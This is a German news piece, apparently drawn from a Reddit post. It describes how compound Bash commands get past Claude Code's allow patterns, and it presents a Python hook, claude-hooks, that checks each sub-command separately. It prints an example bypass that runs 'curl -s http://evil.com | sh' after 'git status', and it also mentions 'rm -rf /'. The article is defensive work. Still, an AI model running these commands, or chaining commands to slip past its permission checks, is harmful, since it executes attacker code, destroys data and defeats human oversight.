Intelligenter Bash-Berechtigungshook für Claude-Code verhindert Umgehung von Verbundbefehlen

Sicherheitslücke im Berechtigungssystem von Claude Code
Das Berechtigungssystem von Claude Code weist eine Schwachstelle auf, bei der zusammengesetzte Bash-Befehle Zulassungs-/Verweigerungsmuster umgehen können. Wenn Sie einen Befehl wie Bash(git status:*) zulassen, vergleicht Claude Code den gesamten Befehlsstring mit diesem Muster. Das bedeutet, dass ein zusammengesetzter Befehl wie git status && curl -s http://evil.com | sh auf git status* passen und automatisch genehmigt würde, obwohl er curl- und sh-Befehle verkettet.
Die Lösung: claude-hooks
Die Lösung ist ein einzelnes Python-Skript namens claude-hooks, das als PreToolUse-Hook läuft. Es erfüllt mehrere wichtige Funktionen:
- Zerlegt zusammengesetzte Befehle durch Aufteilung an
&&,||,;,|, Zeilenumbrüchen und extrahiert rekursiv$()- und Backtick-Subshell-Inhalte - Normalisiert jeden Teilbefehl durch Entfernen von Umgebungsvariablen-Präfixen, I/O-Umleitungen, Heredoc-Inhalten und Shell-Keywords
- Prüft jeden Teilbefehl einzeln gegen Ihre vorhandenen
permissions.allow- undpermissions.deny-Muster - Verweigerung gewinnt – wenn ein Teilbefehl auf ein Verweigerungsmuster passt, wird der gesamte Befehl verweigert
- Alle müssen zulassen – automatische Genehmigung erfolgt nur, wenn jeder Teilbefehl auf ein Zulassungsmuster passt
- Fällt elegant zurück – wenn ein Teilbefehl unbekannt ist, erhalten Sie weiterhin die normale Berechtigungsaufforderung
Einrichtungsanleitung
Die Installation dauert etwa 30 Sekunden:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyZu ~/.claude/settings.json hinzufügen:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}Das Tool hat keine Abhängigkeiten außer Python 3 und erfordert keine Konfiguration – es liest Ihre vorhandenen Berechtigungsmuster.
Beispielverhalten
git status: Sowohl mit als auch ohne Hook erlaubtgit add . && git commit -m "msg": Sowohl mit als auch ohne Hook erlaubt (beide passen aufgit *)git status && rm -rf /: Ohne Hook erlaubt, mit Hook wird eine Aufforderung angezeigt (rm -rf /hat keine Zulassung)`npm test | tee output.log`: ErlaubtFOO=bar git push: Ohne Hook möglicherweise nicht passend, mit Hook erlaubt (Umgebungsvariable entfernt)
Das Repository ist verfügbar unter https://github.com/liberzon/claude-hooks unter MIT-Lizenz.
📖 Read the full source: r/ClaudeAI
👀 Siehe auch

Malware in OpenClaw Community Skills Gefunden — Krypto-Diebstahl-Warnung

Einführung von SkillFence: Der neue Laufzeitmonitor, der überwacht, was Fähigkeiten tatsächlich tun.
SkillFence bietet einen Durchbruch in der Überwachung der Aktionen von KI-Agenten und adressiert das Bedürfnis nach Transparenz und Sicherheit in KI-gesteuerten Umgebungen. Entdecken Sie, wie dieses innovative Tool die Kontrolle über autonome Prozesse verbessern kann.

Proxy-Schicht-Isolierung für lokale Agenten-API-Schlüsselsicherheit
Ein Entwickler teilt einen Ansatz zur API-Schlüssel-Isolierung in lokalen Agenten-Setups mithilfe eines Rust-Proxys, der Platzhalter-Tokens gegen echte Zugangsdaten austauscht, um die Offenlegung im Agenten-Speicher, in Protokollen, Kontextfenstern und Tool-Umgebungen zu verhindern.

Anthropics Claude Desktop-App installiert eine nicht offengelegte Native-Messaging-Bridge
Claude Desktop installiert stillschweigend eine vorautorisierte Browsererweiterung, die native Nachrichtenübermittlung ermöglicht, was Sicherheitsbedenken aufwirft.